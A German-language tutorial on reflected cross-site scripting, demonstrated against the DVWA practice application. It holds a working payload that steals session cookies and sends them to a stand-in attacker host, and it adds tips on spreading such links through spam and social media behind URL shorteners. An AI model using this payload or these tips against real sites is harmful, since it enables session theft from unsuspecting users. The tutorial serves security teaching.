XSS (Cross Site Scriting)

Cross Site Scripting bedeutet im Grunde, dass ein Angreifer in der Lage ist Script-Code in eine Webseite einzuschleusen. Das funktioniert wie eine SQL-Injection nur, dass kein SQL-Code sondern meist HTML- und JS-Code eingeschmuggelt werden.

Wir könnten jetzt einfach das Hook-Script von BeEF verwenden aber ich will Ihnen hier das händische erstellen von Code zeigen.

Hierbei muss man sich immer fragen wo genau der eingeschleuste Code landet. Dies kann zwischen zwei HTML-Tags sein (zB <h1>[INJECTION-CODE]</h1>) und wir müssen uns da nicht allzuviel Gedanken darüber machen. Anders sieht es aus wenn es statt dem <h1>-Tag ein <textarea>-Tag wäre, dann müssten wir diesen beenden damit das Script ausgeführt anstatt angezeigt wird. Gleiches gilt, falls wir innerhalb eines Attributes in einen Tag landen (zB <input type="text" name="bla" value="[INJECTION-CODE]">). Also müssen wir uns Gedanken machen in welchem Kontext wir Daten einschießen und wie wir aus diesem Kontext ausbrechen.

Hierbei kann es durchaus vorkommen, dass wir nicht unbedingt perfekt valides HTML erzeugen. Dank dem Quirks-Modus sind meisten Browser so "zuvorkommend" und geben Ihr bestes, dass unser Hack funktionieren wird.

Also finden wir zuerst einmal heraus wo genau im HTML-Code unser eingeschmuggelter Code landet: Dazu rufen Sie in DVWA den Punkt XSS reflected auf, tragen in das Eingabe-Feld einen beliebigen Wert ein und senden das Formular ab. Ich verwende hier aassdd. Wir sehen auf der Webseite nun die freundliche Begrüßung: Hallo aassdd. Wenn wir nun den Quelltext der Seite aufrufen und nach aassdd suchen erhalten wir folgendes:

... Ausgabe gekürzt
<div class="vulnerable_code_area">

	<form name="XSS" action="#" method="GET">
		<p>What's your name?</p>
		<input type="text" name="name">
		<input type="submit" value="Submit">
	</form>

	<pre>Hello aassdd</pre>

</div>
... Ausgabe gekürzt

Unser Code landet also mitten in einem <pre>-Tag.

Als erstes wollen wir die Login-Session von DVWA stehlen bzw. die Cookies die den User identifizieren. Dazu benötigen wir folgenden Link:

http://192.168.1.104/dvwa/vulnerabilities/xss_r/?name=%3Ciframe+id%3D%22sendCookies%22%3E%3C%2Fiframe%3E%3Cscript%3Evar+stolenCookies+%3D+document.cookie%3B+document.getElementById%28%22sendCookies%22%29.src%3D%22http%3A%2F%2Fsome-site-owned-by-hacker.com%2Fsave.php%3Fc%3D%22+%2B+stolenCookies%3B%3C%2Fscript%3E#

Da dies etwas schwer zu lesen ist, hier nun die Payload in einer lesefreundlicheren Version:

<iframe id="sendCookies"></iframe>
<script>
var stolenCookies = document.cookie;
document.getElementById("sendCookies").src =
"http://some-site-owned-by-hacker.com/save.php?c=" + stolenCookies;
</script>

Ein Iframe, dass dazu verwendet wird die Cookies an einen externen Server zu übertragen und zwei Zeilen JS-Code. Mehr braucht es nicht!

Vom Script zur URL

Nun müssen wir unseren Angriffscode in eine einzige Zeile verwandeln und diese Zeile in das Forumular einfügen. Beim Absenden übernimmt Firefox für uns das URL-encoding und generiert den oben gezeigten Link.

Zum Verteilen solcher Links werden dann die "üblichen Verdächtigen" wie Foren, Spammails, Social-Media, Messenger, usw. verwendet. Damit der Link nicht so einfach als XSS-Angriff erkannt wird kommen meist URL-shortener wie goo.gl & Co. zum Einsatz